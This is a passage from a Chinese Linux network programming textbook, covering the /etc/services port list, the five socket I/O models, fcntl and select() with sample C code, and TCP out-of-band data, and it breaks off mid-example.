codasrv 2432/tcp # not used codasrv 2432/udp # server port codasrv-se 2433/tcp # tcp side effects codasrv-se 2433/udp # udp sftp side effect mysql 3306/tcp # MySQL mysql 3306/udp # MySQL rfe 5002/tcp # Radio Free Ethernet rfe 5002/udp # Actually uses UDP only cfengine 5308/tcp # CFengine cfengine 5308/udp # CFengine bbs 7000/tcp # BBS service # # # Kerberos (Project Athena/MIT) services # Note that these are for Kerberos v4, and are unofficial. Sites running # v4 should uncomment these and comment out the v5 entries above. - 176 - Linux网络编程 # kerberos4 750/udp kerberos-iv kdc # Kerberos (server) udp kerberos4 750/tcp kerberos-iv kdc # Kerberos (server) tcp kerberos_master 751/udp # Kerberos authentication kerberos_master 751/tcp # Kerberos authentication passwd_server 752/udp # Kerberos passwd server krb_prop 754/tcp # Kerberos slave propagation krbupdate 760/tcp kreg # Kerberos registration kpasswd 761/tcp kpwd # Kerberos “passwd” kpop 1109/tcp # Pop with Kerberos knetd 2053/tcp # Kerberos de-multiplexor zephyr-srv 2102/udp # Zephyr server zephyr-clt 2103/udp # Zephyr serv-hm connection zephyr-hm 2104/udp # Zephyr hostmanager eklogin 2105/tcp # Kerberos encrypted rlogin # # Unofficial but necessary (for NetBSD) services # supfilesrv 871/tcp # SUP server supfiledbg 1127/tcp # SUP debugging # # Datagram Delivery Protocol services # rtmp 1/ddp # Routing Table Maintenance Protocol nbp 2/ddp # Name Binding Protocol echo 4/ddp # AppleTalk Echo Protocol zip 6/ddp # Zone Information Protocol # # Services added for the Debian GNU/Linux distribution poppassd 106/tcp # Eudora poppassd 106/udp # Eudora mailq 174/tcp # Mailer transport queue for Zmailer mailq 174/tcp # Mailer transport queue for Zmailer ssmtp 465/tcp # SMTP over SSL gdomap 538/tcp # GNUstep distributed objects gdomap 538/udp # GNUstep distributed objects snews 563/tcp # NNTP over SSL ssl-ldap 636/tcp # LDAP over SSL omirr 808/tcp omirrd # online mirror 第 6 章 berkeley 套接字 - 177 - omirr 808/udp omirrd # online mirror rsync 873/tcp # rsync rsync 873/udp # rsync simap 993/tcp # IMAP over SSL spop3 995/tcp # POP-3 over SSL socks 1080/tcp # socks proxy server socks 1080/udp # socks proxy server rmtcfg 1236/tcp # Gracilis Packeten remote config server xtel 1313/tcp # french minitel support 1529/tcp # GNATS cfinger 2003/tcp # GNU Finger ninstall 2150/tcp # ninstall service ninstall 2150/udp # ninstall service afbackup 2988/tcp # Afbackup system afbackup 2988/udp # Afbackup system icp 3130/tcp # Internet Cache Protocol (Squid) icp 3130/udp # Internet Cache Protocol (Squid) postgres 5432/tcp # POSTGRES postgres 5432/udp # POSTGRES fax 4557/tcp # FAX transmission service (old) hylafax 4559/tcp # HylaFAX client-server protocol (new) noclog 5354/tcp # noclogd with TCP (nocol) noclog 5354/udp # noclogd with UDP (nocol) hostmon 5355/tcp # hostmon uses TCP (nocol) hostmon 5355/udp # hostmon uses TCP (nocol) ircd 6667/tcp # Internet Relay Chat ircd 6667/udp # Internet Relay Chat webcache 8080/tcp # WWW caching service webcache 8080/udp # WWW caching service tproxy 8081/tcp # Transparent Proxy tproxy 8081/udp # Transparent Proxy mandelspawn 9359/udp mandelbrot # network mandelbrot amanda 10080/udp # amanda backup services kamanda 10081/tcp # amanda backup services (Kerberos) kamanda 10081/udp # amanda backup services (Kerberos) amandaidx 10082/tcp # amanda backup services amidxtape 10083/tcp # amanda backup services - 178 - Linux网络编程 isdnlog 20011/tcp # isdn logging system isdnlog 20011/udp # isdn logging system vboxd 20012/tcp # voice box system vboxd 20012/udp # voice box system binkp 24554/tcp # Binkley binkp 24554/udp # Binkley asp 27374/tcp # Address Search Protocol asp 27374/udp # Address Search Protocol tfido 60177/tcp # Ifmail tfido 60177/udp # Ifmail fido 60179/tcp # Ifmail fido 60179/udp # Ifmail # Local services linuxconf 98/tcp swat 901/tcp # Add swat service used via inetd [root@bbs /etc]# 下面,我们以以 Web Server 的端口 80 做例子来看看这份单子说明了些什么?: 它在 services 文件中的那一行是这样的: www 80/tcp http # WorldWideWeb HTTP 大家可以看到这一行分 3 部分: www 代表 HTTP 协议的端口名(也就是缺省的 Web Browser 连接服务器时的端 口)。 80/tcp 这一部分是用 "/" 号分开的,前半部分表示的是端口号(这里的 HTTP 协议的端口是 80),后半部分表示是一个 TCP 连接(也就是有连接的套接字,相对应的是 UDP)。 http 代表是 HTTP 协议。 # WorldWideWeb HTTP 最后大家看到的这个是以“ #” 号打头的,是一些注释。 我们所在意的其实只有 HTTP 和 80 .通过这个规律,大家可以看到这个 RedHat 6.0 自己所定义的保留端口(其中包括一些大于 1024 的端口) 这个文件只是定义了每个服务所使用的端口和它的别名。假如你运行 $telnet 127.0.0.1 www 那么你就连接到了本地的 Web 服务器上(当然,前提是你已经启动了这个 Web 服务 器)。 自己编程的时候应该尽量避免自己的服务器所使用的端口和系统的 Services 文件中已 经声明的端口重叠。避免的方法除了参考系统的 Services 文件以外,你还可以直接对系统 进行 telnet 来进行测试。 比如你的程序想使用 4000 端口进行监听网络连接,你为了确定是否已经有程序使用 了 4000 端口,可以像下面这样操作: $telnet 127.0.0.1 4000 第 6 章 berkeley 套接字 - 179 - 如果系统给出了错误信息: [root@bbs /etc]# telnet 127.0.0.1 4000 Trying 127.0.0.1... telnet: Unable to connect to remote host: Connection refused 那么说明系统中没有程序使用 4000 端口,你可以放心的使用了。 技巧:如果你自己写了一个 Server 和 Client ,但是 Client 却无法连上 Server 而你又不知道究竟是哪 个有问题的时候,你可以使用系统的工具 telnet 来帮助你。如果你的 Server 监听的端口是 4000 ,那么可 以直接使用 telnet 去连接 4000 端口。如果使用 telnet 连接正常,那么你就可以确定你的 Server 运行正常. 6.10 五种 I/O模式 下面我们简单的介绍一个各种 I/O 操作模式。在 Linux/UNIX 下,有下面这五种 I/O 操 作方式: 阻塞 I/O 非阻塞 I/O I/O 多路复用 信号驱动 I/O(SIGIO) 异步 I/O 这章讲述了一些 I/O 的细节,你可以在第一次阅读的时候跳过这部分,然后在第二次 阅读本书的时候再来读这一节。 一般来说,程序进行输入操作有两步: 1.等待有数据可以读 2.将数据从系统内核中拷贝到程序的数据区。 对于一个对套接字的输入操作,第一步一般来说是等待数据从网络上传到本地。当数 据包到达的时候,数据将会从网络层拷贝到内核的缓存中;第二步是从内核中把数据拷贝 到程序的数据区中。 6.10.1 阻塞 I /O模式 阻塞 I/O 模式是最普遍使用的 I/O 模式。大部分程序使用的都是阻塞模式的 I/O 。缺 省的,一个套接字建立后所处于的模式就是阻塞 I/O 模式。 对于一个 UDP 套接字来说,数据就绪的标志比较简单: 已经收到了一整个数据报 没有收到。 而 TCP 这个概念就比较复杂,需要附加一些其他的变量。 在图 6-4 中,一个进程调用 recvfrom ,然后系统调用并不返回知道有数据报到达本地 系统,然后系统将数据拷贝到进程的缓存中。(如果系统调用收到一个中断信号,则它的 调用会被中断) 我们称这个进程在调用 recvfrom一直到从 recvfrom 返回这段时间是阻塞的。当recvfrom 正常返回时,我们的进程继续它的操作。 - 180 - Linux网络编程 图 6-4 tcp 连接的简单示例 6.10.2 非阻塞模式 I /O 当我们将一个套接字设置为非阻塞模式,我们相当于告诉了系统内核:“ 当我请求的 I/O 操作不能够马上完成,你想让我的进程进行休眠等待的时候,不要这么做,请马上返 回一个错误给我。” 我们可以参照图 6-5 来描述非阻塞模式 I/O 。 我们开始对 recvfrom 的三次调用,因为系统还没有接收到网络数据,所以内核马上返 回一个 EWOULDBLOCK的错误。第四次我们调用 recvfrom 函数,一个数据报已经到达了, 内核将它拷贝到我们的应用程序的缓冲区中,然后 recvfrom 正常返回,我们就可以对接收 到的数据进行处理了。 当一个应用程序使用了非阻塞模式的套接字,它需要使用一个循环来不听的测试是否 一个文件描述符有数据可读(称做 polling)。应用程序不停的 polling 内核来检查是否 I/O 操作已经就绪。这将是一个极浪费 CPU 资源的操作。这种模式使用中不是很普遍。 第 6 章 berkeley 套接字 - 181 - 图 6-5 非阻塞模式 I/O 6.10.3 I /O多路复用 在使用 I/O 多路技术的时候,我们调用 select()函数和 poll()函数,在调用它们的时候 阻塞,而不是我们来调用 recvfrom(或 recv)的时候阻塞。图 6-6 说明了它的工作方式。 当我们调用 select 函数阻塞的时候,select 函数等待数据报套接字进入读就绪状态。当 select 函数返回的时候,也就是套接字可以读取数据的时候。这时候我们就可以调用 recvfrom 函数来将数据拷贝到我们的程序缓冲区中。 和阻塞模式相比较,select()和 poll()并没有什么高级的地方,而且,在阻塞模式下只需 要调用一个函数:读取或发送,在使用了多路复用技术后,我们需要调用两个函数了:先 调用 select()函数或 poll()函数,然后才能进行真正的读写。 多路复用的高级之处在于,它能同时等待多个文件描述符,而这些文件描述符(套接 字描述符)其中的任意一个进入读就绪状态,select()函数就可以返回。 - 182 - Linux网络编程 图 6-6 I/O 多路复用 假设我们运行一个网络客户端程序,要同时处理套接字传来的网络数据又要处理本地 的标准输入输出。在我们的程序处于阻塞状态等待标准输入的数据的时候,假如服务器端 的程序被 kill(或是自己 Down 掉了),那么服务器程端的 TCP 协议会给客户端(我们这端) 的 TCP 协议发送一个 FIN 数据代表终止连接。但是我们的程序阻塞在等待标准输入的数 据上,在它读取套接字数据之前(也许是很长一段时间),它不会看见结束标志.我们就 不能够使用阻塞模式的套接字。 IO 多路技术一般在下面这些情况中被使用: 当一个客户端需要同时处理多个文件描述符的输入输出操作的时候(一般来说是 标准的输入输出和网络套接字), I/O 多路复用技术将会有机会得到使用。 当程序需要同时进行多个套接字的操作的时候。 如果一个 TCP 服务器程序同时处理正在侦听网络连接的套接字和已经连接好的套 接字。 如果一个服务器程序同时使用 TCP 和 UDP 协议。 如果一个服务器同时使用多种服务并且每种服务可能使用不同的协议(比如 inetd 就是这样的)。 I/O 多路服用技术并不只局限与网络程序应用上。几乎所有的程序都可以找到应用 I/O 多路复用的地方。 6.10.4 信号驱动 I /O模式 我们可以使用信号,让内核在文件描述符就绪的时候使用 SIGIO 信号来通知我们。我 们将这种模式称为信号驱动 I/O 模式。 使用这种模式,我们首先需要允许套接字使用信号驱动 I/O ,还要安装一个 SIGIO 的 第 6 章 berkeley 套接字 - 183 - 处理函数。在这种模式下,系统调用将会立即返回,然后我们的程序可以继续做其他的事 情。当数据就绪的时候,系统会向我们的进程发送一个 SIGIO 信号。这样我们就可以在SIGIO 信号的处理函数中进行 I/O 操作(或是我们在函数中通知主函数有数据可读)。 我们现在还不必对 SIGIO 信号处理函数做过多的了解(在下一章中我们会介绍信号的 有关内容)。对于信号驱动 I/O 模式,它的先进之处在于它在等待数据的时候不会阻塞,程 序可以做自己的事情。当有数据到达的时候,系统内核会向程序发送一个 SIGIO 信号进行 通知,这样我们的程序就可以获得更大的灵活性,因为我们不必为等待数据进行额外的编 码。 图 6-7 信号驱动 I/O 信号 I/O 可以使内核在某个文件描述符发生改变的时候发信号通知我们的程序。异步 I/O 可以提高我们程序进行 I/O 读写的效率。通过使用它,当我们的程序进行 I/O 操作的时 候,内核可以在初始化 I/O 操作后立即返回,在进行 I/O 操作的同时,我们的程序可以做 自己的事情,直到 I/O 操作结束,系统内核给我们的程序发消息通知。 基于 Berkeley 接口的 Socket 信号驱动 I/O 使用信号 SIGIO。有的系统 SIGPOLL 信号, 它也是相当于 SIGIO 的。 为了在一个套接字上使用信号驱动 I/O 操作,下面这三步是所必须的。 (1)一个和 SIGIO 信号的处理函数必须设定。 (2)套接字的拥有者必须被设定。一般来说是使用 fcntl 函数的 F_SETOWN 参数来 进行设定拥有者。 (3)套接字必须被允许使用异步 I/O。一般是通过调用 fcntl 函数的 F_SETFL 命令, O_ASYNC 为参数来实现。 注意:我们在设置套接字的属主之前必须将 SIGIO 的信号处理函数设好,SIGIO 的缺省动作是被忽 略。因此我们如果以相反的顺序调用这两个函数调用,那么在 fcntl 函数调用之后,signal 函数调用之前就 - 184 - Linux网络编程 有一小段时间程序可能接收到 SIGIO 信号。那样的话,信号将会被丢弃。在 SVR4 系统中,SIGIO 在 <sys/signal.h> 头文件中被定义为 SIGPOLL,而 SIGPOLL 信号的缺省动作是终止这个进程。所以我们一 定要保证这两个函数的调用顺序:先调用 signal 设置好 SIGIO 信号处理函数,然后在使用 fcntl 函数设置 套接字的属主。 虽然设定套接字为异步 I/O 非常简单,但是使用起来困难的部分是怎样在程序中断定 产生 SIGIO 信号发送给套接字属主的时候,程序处在什么状态。 1.UDP 套接字的 SI GI O信号 在 UDP 协议上使用异步 I/O 非常简单.这个信号将会在这个时候产生: 套接字收到了一个数据报的数据包。 套接字发生了异步错误。 当我们在使用 UDP 套接字异步 I/O 的时候,我们使用 recvfrom()函数来读取数据报数 据或是异步 I/O 错误信息。 2.TCP 套接字的 SI GI O信号 不幸的是,异步 I/O 几乎对 TCP 套接字而言没有什么作用。因为对于一个 TCP 套接 字来说, SIGIO 信号发生的几率太高了,所以 SIGIO 信号并不能告诉我们究竟发生了什 么事情。在 TCP 连接中, SIGIO 信号将会在这个时候产生: 在一个监听某个端口的套接字上成功的建立了一个新连接。 一个断线的请求被成功的初始化。 一个断线的请求成功的结束。 套接字的某一个通道(发送通道或是接收通道)被关闭。 套接字接收到新数据。 套接字将数据发送出去。 发生了一个异步 I/O 的错误。 举例来说,如果一个正在进行读写操作的 TCP 套接字处于信号驱动 I/O 状态下,那么 每当新数据到达本地的时候,将会产生一个 SIGIO 信号,每当本地套接字发出的数据被远 程确认后,也会产生一个 SIGIO 信号。对于我们的程序来讲,是无法区分这两个 SIGIO 有 什么区别的。在这种情况下使用 SIGIO,TCP 套接字应当被设置为无阻塞模式来阻止一个 阻塞的 read 和 write(recv 和 send)操作。我们可以考虑在一个只进行监听网络连接操作 的套接字上使用异步 I/O,这样当有一个新的连接的时候,SIGIO 信号将会产生。 一个对信号驱动 I/O 比较实用的方面是 NTP(网络时间协议 Network Time Protocol) 服务器,它使用 UDP。这个服务器的主循环用来接收从客户端发送过来的数据报数据包, 然后再发送请求。对于这个服务器来说,记录下收到每一个数据包的具体时间是很重要的。 因为那将是返回给客户端的值,客户端要使用这个数据来计算数据报在网络上来回所花费 的时间。图 6-8 表示了怎样建立这样的一个 UDP 服务器。 第 6 章 berkeley 套接字 - 185 - 图 6-8 NTP 服务器 大多数的 UDP 服务都被设计成图左边的模式。但是 NTP 服务器使用的是图右边的技 术。当有一个新的数据报到达的时候,SIGIO 的处理函数会取出它放入一个程序等待读取 的队列,主程序会从这个队列中读取数据。虽然这样会增加程序代码的长度,但是它能够 获取数据包到达服务器程序的准确时间. 6.10.5 异步 I /O模式 当我们运行在异步 I/O 模式下时,我们如果想进行 I/O 操作,只需要告诉内核我们要 进行 I/O 操作,然后内核会马上返回。具体的 I/O 和数据的拷贝全部由内核来完成,我们 的程序可以继续向下执行。当内核完成所有的 I/O 操作和数据拷贝后,内核将通知我们的 程序。 异步 I/O 和 信号驱动 I/O 的区别是: 信号驱动 I/O 模式下,内核在操作可以被操作的时候通知给我们的应用程序发送 SIGIO 消息。 异步 I/O 模式下,内核在所有的操作都已经被内核操作结束之后才会通知我们的 应用程序。 如下图,当我们进行一个 IO 操作的时候,我们传递给内核我们的文件描述符,我们 的缓存区指针和缓存区的大小,一个偏移量 offset,以及在内核结束所有操作后和我们联 系的方法。这种调用也是立即返回的,我们的程序不需要阻塞住来等待数据的就绪。我们 可以要求系统内核在所有的操作结束后(包括从网络上读取信息,然后拷贝到我们提供给 内核的缓存区中)给我们发一个消息。 - 186 - Linux网络编程 图 6-9 异步 I/O 6.10.6 几种 I /O模式的比较 下面这个表格对这几种 I/O 模式进行了对比。 表 6-1 几种 I/O 模式的对比 阻塞模式 非阻塞模式 I/O 多路复用 信号驱动 I/O 异步 I/O 初始化 结束  检查  检查  检查  检查  检查  检查  检查  检查  检查  结束  检查  就绪  初始化  结束  信号通知   初始化   结束  初始化 信号通知 我们可以从中清楚的看出各个模式的差别,自己的程序可以挑选合适的模式来使用。 6.10.7 f cnt l ( ) 函数 阻塞.你应该明白它的意思。简单的说,阻塞就是"睡眠"的同义词.你也许注意到 阻塞 等 待 数据 将 数 据 从 内 核 拷 贝 给 用 户 程 序 第 6 章 berkeley 套接字 - 187 - 你运行上面的 listener 的时候,它只不过是简单的在那里等待接收数据。它调用 recvfrom() 函数,但是那个时候(listener 调用 recvfrom()函数的时候),它并没有数据可以接收.所以 recvfrom()函数阻塞在那里(也就是程序停在 recvfrom()函数处睡大觉)直到有数据传过来。 很多函数都可以阻塞。像 accept()函数是阻塞的,所有以 recv 开头的函数也都是阻塞 的。它们这样做的原因是他们需要这样做。 当你一开始建立一个套接字描述符的时候,系统内核就被设置为阻塞状态。如果你不 想你的套接字描述符是处于阻塞状态的,那么你可以使用函数 fcntl()。 fcntl()函数声明如下: #include <unistd.h> #include <fcntl.h> int fcntl (int fd, int cmd, long arg); 下面我们看一段程序片段: #include<unistd.h> #include<fcntl.h> sockfd = socket(AF_INET, SOCK_STREAM, 0); fcntl(sockfd, F_SETFL, O_NONBLOCK); ⋯ ⋯ ⋯ ⋯ 这样将一个套接字设置为无阻塞模式后,你可以对套接字描述符进行有效的“ 检测” .如 果你尝试从一个没有接收到任何数据的无阻塞模式的套接字描述符那里读取数据,那么读 取函数会马上返回–1 代表发生错误,全局变量 errno 中的值为 EWOULDBLOCK。 一般来说,这种无阻塞模式在某些情况下不是一个好的选择。假如你的程序一直没有 接收到传过来的数据,那么你的程序就会进行不停的循环来检查是否有数据到来,浪费了 大量的 CPU 时间,而这些 CPU 时间本来可以做其他事情的。 另外一个比较好的检测套接字描述符的方法是调用 select()函数。 6.10.8 套接字选择项 sel ect ( ) 函数 这个技术有一点点奇怪但是它对我们的程序确是非常有用的。 假想一下下面的情况: 你写的服务器程序想监听客户端的连接,但是你同时又想从你以前已经建立过的连接 中来读取数据。你可能会说:“ 没有问题,我不就是需要使用一个 accept()函数和一对儿recv() 函数吗?” 。不要这么着急,你要想想,当你调用 accept()函数阻塞的时候,你还能调用 recv() 函数吗?“ 使用非阻塞套接字!” 你可能会这么说。是的,你可以。但是如果你又不想浪 费宝贵的 CPU 时间,该怎么办呢? Select()函数可以帮助你同时监视许多套接字。它会告诉你哪一个套接字已经可以读取 数据,哪个套接字已经可以写入数据,甚至你可以知道哪个套接字出现了错误,如果你想 知道的话。 下面是 select()函数的声明: - 188 - Linux网络编程 #include <sys/time.h> #include <sys/types.h> #include <unistd.h> int select(int numfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout); 下面是 select()函数的参数说明: numfds 是 readfds,writefds,exceptfds 中 fd 集合中文件描述符中最大的数字加上 1。 readfds 中的 fd 集合将由 select 来监视是否可以读取。 writefds 中的 fds 集合将由 select 来监视是否可以写入。 exceptfds 中的 fds 集合将由 select 来监视是否有例外发生。 如果你想知道是是否可以从标准输入和一些套接字(sockfd)中读取数据,你就可以 把文件描述符和 sockfd 加入 readfds 中。numfds 的数值设成 readfds 中文件描述符中最大的 那个加上一,也就是 sockfd+1(因为标准输入的文件描述符的值为 0 ,所以其他任何的文 件描述符都会比标准输入的文件描述符大)。 当 select()函数返回的时候,readfds 将会被修改用来告诉你哪一个文件描述符你可以用 来读取数据。使用 FD_ISSET() 宏,你可以选出 select()函数执行的结果。 在进行更深的操作前,我们来看一看怎样处理这些 fd_sets。下面这些宏可以是专门进 行这类操作的: FD_ZERO(fd_set *set)将一个文件描述符集合清零 FD_SET(int fd, fd_set *set)将文件描述符 fd 加入集合 set 中。 FD_CLR(int fd, fd_set *set)将文件描述符 fd 从集合 set 中删除. FD_ISSET(int fd, fd_set *set)测试文件描述符 fd 是否存在于文件描述符 set 中. 那么,struct timeval 是什么呢?是这样的,一般来说,如果没有任何文件描述符满足 你的要求,你的程序是不想永远等下去的.也许每隔 1 分钟你就想在屏幕上输出信息: “ hello!”。这个代表时间的结构将允许你定义一个超时。在调用 select()函数中,如果时间 超过 timeval 参数所代表的时间长度,而还没有文件描述符满足你的要求,那么 select()函 数将回返回,允许你进行下面的操作。 这个 timeval 结构定义如下: struct timeval { int tv_sec ; /* 秒数 */ int tv_usec ; /* 微秒 */ } ; 只需要将 tv_sec 设置为你想等待的秒数,然后设置 tv_usec 为想等待的微秒数(真正 的时间就是 tv_sec 所表示的秒数加上 tv_usec 所表示的微秒数).注意,是微秒(百万分之 一)而不是毫秒.一秒有 1,000 毫秒,一毫秒有 1,000 微秒。所以,一秒有 1,000,000 微秒. 当 select()函数返回的时候,timeval 中的时间将会被设置为执行为 select()后还剩下的 时间。 第 6 章 berkeley 套接字 - 189 - 现在,我们拥有了一个以微秒为单位的记时器!但是因为 Linux 和 UNIX 一样,最小 的时间片是 100 微秒,所以不管你将 tv_usec 设置的多小,实质上记时器的最小单位是 100 微秒. 另外需要注意的是: 如果你将 struct timeval 设置为 0,则 select()函数将会立即返回,同时返回在你的 集合中的文件描述符的状态。 如果你将 timeout 这个参数设置为 NULL,则 select()函数进入阻塞状态,除了等 待到文件描述符的状态变化,否则 select()函数不会返回。 下面这段代码演示了从标准输入等待输入等待 2.5 秒. #include <sys/time.h> #include <sys/types.h> #include <unistd.h> /* 标准输入的文件描述符数值 */ #define STDIN 0 main() { struct timeval tv; fd_set readfds; /* 设置等待时间为 2 秒零 500,000 微秒 */ tv.tv_sec = 2; tv.tv_usec = 500000; FD_ZERO(&readfds); FD_SET(STDIN, &readfds); /* 因为我们只想等待输入,所以将 writefds 和 execeptfds 设为 NULL */ /* 程序将会在这里等待 2 秒零 500,000 微秒,除非在这段时间中标准输入有操作 */ select(STDIN+1, &readfds, NULL, NULL, &tv); /* 测试 STDIN 是否在 readfds 集合中 */ if (FD_ISSET(STDIN, &readfds)) { /* 在,则在标准输入有输入 */ printf(“ A key was pressed!\n”); } else { /* 不在,则在标准输入没有任何输入 */ - 190 - Linux网络编程 printf(“Timed out.\n”); } } 在标准输入上,你需要输入回车后终端才会将输入的信息传给你的程序。所以如果你 没有输入回车的话,程序会一直等待到超时。 对 select()函数需要注意的最后一点:如果你的套接字描述符正在通过 listen()函数侦听 等待一个外来的网络连接,则你可以使用 select()函数(将套接字描述符加入 readfds 集合 中)来测试是否存在一个未经处理的新连接。 上面是对 select()函数的一些简单介绍。 6.11 带外数据 许多传输层都支持带外数据(Out-Of-Band data),有时候也称为快速数据(Expedited Data).之所以有带外数据的概念,是因为有时候在一个网络连接的终端想“ 快速” 的告诉 网络另一边的终端一些信息.这个“ 快速” 的意思是我们的“ 提示” 信息会在正常的网络 数据(有时候称为带内数据 In-Band data)之前到达网络另一边的终端.这说明,带外数 据拥有比一般数据高的优先级.但是不要以为带外数据是通过两条套接字连接来实现的.事 实上,带外数据也是通过以有的连接来传输。 不幸的是,几乎每个传输层都有不同的带外数据的处理方法。我们下面研究的是 TCP 模型的带外数据,提供一个小小的例子来看看它是怎样处理套接字的带外数据,及调用套 接字 API 的方法。 流套接字的抽象中包括了带外数据这一概念,带外数据是相连的每一对流套接字间一 个逻辑上独立的传输通道。带外数据是独立于普通数据传送给用户的,这一抽象要求带外 数据设备必须支持每一时刻至少一个带外数据消息被可靠地传送。这一消息可能包含至少 一个字节;并且在任何时刻仅有一个带外数据信息等候发送。对于仅支持带内数据的通讯 协议来说(例如紧急数据是与普通数据在同一序列中发送的),系统通常把紧急数据从普 通数据中分离出来单独存放。这就允许用户可以在顺序接收紧急数据和非顺序接收紧急数 据之间作出选择(非顺序接收时可以省去缓存重叠数据的麻烦)。在这种情况下,用户也 可以“ 偷看一眼” 紧急数据。 某一个应用程序也可能喜欢线内处理紧急数据,即把其作为普通数据流的一部分。这 可以靠设置套接字选项中的 SO_OOBINLINE 来实现。在这种情况下,应用程序可能希望 确定未读数据中的哪一些是“ 紧急” 的(“ 紧急” 这一术语通常应用于线内带外数据)。为 了达到这个目的,在 Sockets 的实现中就要在数据流保留一个逻辑记号来指出带外数据从 哪一点开始发送. select()函数可以用于处理对带外数据到来的通知。 6.11.1 TCP 的带外数据 TCP 上没有真正意义上的“ 带外数据”。TCP 是由一种叫做“ 紧急模式” 的方法来传 输带外数据的。假设一个进程向一个 TCP 套接字写入了 N 个字节的数据,数据被 TCP 套 接字的发送缓冲区缓存,等待被发送到网络上面.我们在图 6-10 可以看见数据的排列。 第 6 章 berkeley 套接字 - 191 - 图 6-10 TCP 数据的排列 现在进程使用以 MSG_OOB 为参数的 send()函数写入一个单字节的"带外数据",包 含一个 ASCII 字符"a": send(fd, “a”, 1, MSG_OOB); TCP 将数据放在下一个可用的发送缓冲区中,并设置这个连接的"紧急指针"(urgent pointer)指向下一个可用的缓冲区空间.图 6-11 表示了我们描述的这个状态,并将带外数 据(Out-Of-Band)表示为"OOB"。 图 6-11 ODB 数据 TCP 的紧急指针的指向的位置是在程序发送的 OOB 数据的后面。 由图 6-11 所表示的 TCP 套接字的状态,得知下一个将要发送的数据是 TCP 的 URG (Urgent pointer)标志,发送完 URG 标志,TCP 才会发送下面的带外数据的那个字节。 但是 TCP 所一次发送的数据中,可能只包含了 TCP 的 URG 标志,却没有包含我们所发送 的 OOB 数据.是否会发生这种情况而取决于 TCP 将要发送的数据队列中,在 OOB 数据 之前的数据的多少。如果在一次发送中,OOB 前的数据已经占满了名额,则 TCP 只会发 送 URG 标志,不会发送 OOB 数据 这是一个 TCP 紧急数据状态的重要特性:TCP 的信息头指出发送者进入了紧急模式(比 方说,在紧急偏移处设置了 URG 标志),但是紧急偏移处的数据并没有必要一定要发送出 去.事实上,如果一个 TCP 套接字的流传送停止后(可能是接收方的套接字的接收缓冲区 没有空余空间),为了发送带外数据,系统会发送不包含数据的 TCP 数据包,里面标明这 是一个带外数据.这也是我们使用带外数据的一个有利点:TCP 连接就算是在不能向对方 - 192 - Linux网络编程 发送数据的时候,也可以发送出一个带外数据的信号。 如果我们像下面这样发送一个多字节的带外数据: send(fd, “abc”, 3, MSG_OOB); 在这个例子中, TCP 的紧急指针指向了数据最后一位的后面, 所以只有最后一位数 据(“ c”)才被系统认为是“ 带外数据”。 我们上面大致了解了发送方是怎样发送“ 带外数据” 的了,下面我们来看一看接收方 是怎样接收“ 带外数据” 的。 1.当 TCP 收到一个包含 URG 标志的数据段时,TCP 会检查“ 紧急指针” 来验证是 否紧急指针所指的数据已经到达本地。也就是说,无论这次是否是 TCP 紧急模式从发送方 到接收方的第一次传输带外数据。一般来说,TCP 传输数据会分成许多小的数据包来传输 (每个包的到达时间也不同)。可能有好几个数据包中都包含紧急指针,但是这几个包中 的紧急指针都是指向同一个位置的,也就是说多个紧急指针指向一个数据。需要注意的是, 对于这一个带外数据,虽然有多个指针指向它,但是只有第一个紧急指针会通知程序注意。 2.接收进程收到另外一个带外数据的通知的条件是:有另外一个带外数据的指针到 达.注意这里是“ 另外一个带外数据” 的指针,不是上面的“ 一个带外数据” 的另外一个 指针。首先, SIGURG 信号回发送给套接字的属主,这个取决于是否已经使用 fcntl()函数 或 ioctl()函数设定套接字的属主和这个程序对 SIGURG 信号的具体操作函数。其次,如果 一个程序正阻塞与对这个套接字描述符的 select()函数的调用中,则 select()函数会产生一个 例外,然后返回。 注意:进程收到带外数据的通知的时候,并不会在乎带外数据的真正数据是否到达。 3.当紧急指针所指的真正的带外数据通过 TCP 网络到达接收端的时候,数据或者被 放入带外数据缓冲区或是只是简单的和普通的网络数据混合在一起。在缺省的条件下, SO_OOBINLINE 套接字选项是不会被设置的,所以这个单字节的带外数据并没有被防在 套接字的接收缓存区中,而是被放入属于这个套接字的一个单独的带外数据缓存区中。如 果这个进程想读取这个带外数据的具体内容的话,唯一的办法就是调用 recv,recvfrom, 或是 recvmsg 函数,并且一定要指定 MSG_OOB 标志。 4.如果一个进程将套接字设置为 SO_OOBINLINE 属性,则由紧急指针所指的,代表 带外数据的那个字节将回被放在正常套接字缓冲区中的最左边.在这种情况下,进程不能 指定 MSG_OOB 来读取这个一个字节的带外数据,但是它可以知道带外数据的到达时间: 通过检查套接字的带外数据标记. 有可能发生的一些错误: 5.如果当连接没有发送带外数据的时候进程来读取带外数据(比如说,通过 MSG_OOB 参数来接收函数),则 EINVAL 将会被返回。 6.当真正的带外数据到达之前的时候,进程被通知(SIGURG 或是 select 函数)有带 外数据到达(也就是说带外数据的通知信号已经到达),如果进程尝试读取带外数据,则 返回 EWOULDFBLOCK .进程所能做的只是去读取套接字的接收缓存区.(也许,由于 缓存区的数据以满,带外数据的那个字节信息无法传输过来,这样的话也许你需要清理一 下接收缓存区来给带外数据空出一些空间) 7.如果进程尝试多次读取同一个带外数据,则 EINVAL 将会被返回。 8.如果进程将套接字属性设置为 SO_OOBINLINE ,然后尝试通过指定 MSG_OOB 第 6 章 berkeley 套接字 - 193 - 标志来读取带外数据,则 EINVAL 将会被返回。 下面我们将前面的套接字例程做一些变动来测试带外数据的发送与接收. 6.11.2 OOB传输套接字例程(服务器代码 Server. c) #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> /* 服务器要监听的本地端口 */ #define MYPORT 4000 /* 能够同时接受多少没有 accept 的连接 */ #define BACKLOG 10 void sig_urg(int signo); main() { /* 在 sock_fd 上进行监听,new_fd 接受新的连接 */ int sock_fd, new_fd ; /* 用于存储以前系统缺省的 SIGURL 处理器的变量 */ void * old_sig_urg_handle ; /* 自己的地址信息 */ struct sockaddr_in my_addr; /* 连接者的地址信息*/ struct sockaddr_in their_addr; int sin_size; int n ; char buff[100] ; /* 这里就是我们一直强调的错误检查.如果调用 socket() 出错,则返回 */ if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { - 194 - Linux网络编程 /* 输出错误提示并退出 */ perror(“socket”); exit(1); } /* 主机字节顺序 */ my_addr.sin_family = AF_INET; /* 网络字节顺序,短整型 */ my_addr.sin_port = htons(MYPORT); /* 将运行程序机器的 IP 填充入 